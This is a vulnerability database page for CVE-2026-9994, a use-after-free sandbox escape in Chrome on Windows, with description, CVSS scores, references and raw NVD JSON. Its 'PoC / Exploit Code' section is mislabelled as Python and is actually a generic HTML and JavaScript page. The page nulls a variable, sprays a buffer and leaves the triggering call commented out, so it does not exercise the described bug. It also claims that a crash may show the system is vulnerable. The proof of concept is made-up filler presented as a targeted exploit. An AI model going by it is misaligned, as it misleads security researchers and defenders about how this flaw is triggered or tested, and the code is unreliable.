CVE-2026-9994

Description

Use after free in Core in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9994 -->
<!-- This HTML page is designed to trigger the UAF in Chrome Core -->
<!-- Note: Requires a compromised renderer process context -->
<html>
<head>
    <title>CVE-2026-9994 PoC</title>
</head>
<body>
<script>
    // Simulate the object that will be freed
    let target_object = {
        data: new ArrayBuffer(1024),
        vtable: 0x41414141 // Fake vtable pointer
    };

    let weak_ref;

    // Function to simulate the free operation
    function trigger_free() {
        // In the real vulnerability, specific DOM interaction frees the object
        // while a reference is kept in the Core component
        target_object = null;
        
        // Attempt to force Garbage Collection to free the memory
        if (window.gc) {
            window.gc();
        }
    }

    // Function to attempt reuse of the freed memory
    function trigger_reuse() {
        // Allocate new memory to occupy the freed space
        let spray_buffer = new Uint8Array(1024);
        for(let i=0; i<spray_buffer.length; i++) {
            spray_buffer[i] = 0x42; // 0x42424242
        }

        // Attempt to access the dangling reference leads to UAF
        // This would crash the browser or allow control flow hijack in a real exploit
        console.log("Attempting to access freed memory...");
        // weak_ref.some_method(); // Crashes here due to UAF
    }

    // Execute the PoC logic
    trigger_free();
    setTimeout(trigger_reuse, 100);

</script>
<h1>CVE-2026-9994 PoC Test Page</h1>
<p>If the browser crashes or behaves unexpectedly, the system may be vulnerable.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9994
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9994
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9994/
[4] VulDB https://vuldb.com/cve/CVE-2026-9994
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513235131

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9994", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:57.630", "lastModified": "2026-05-29T15:16:27.010", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Core in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513235131", "source": "[email protected]"}]}}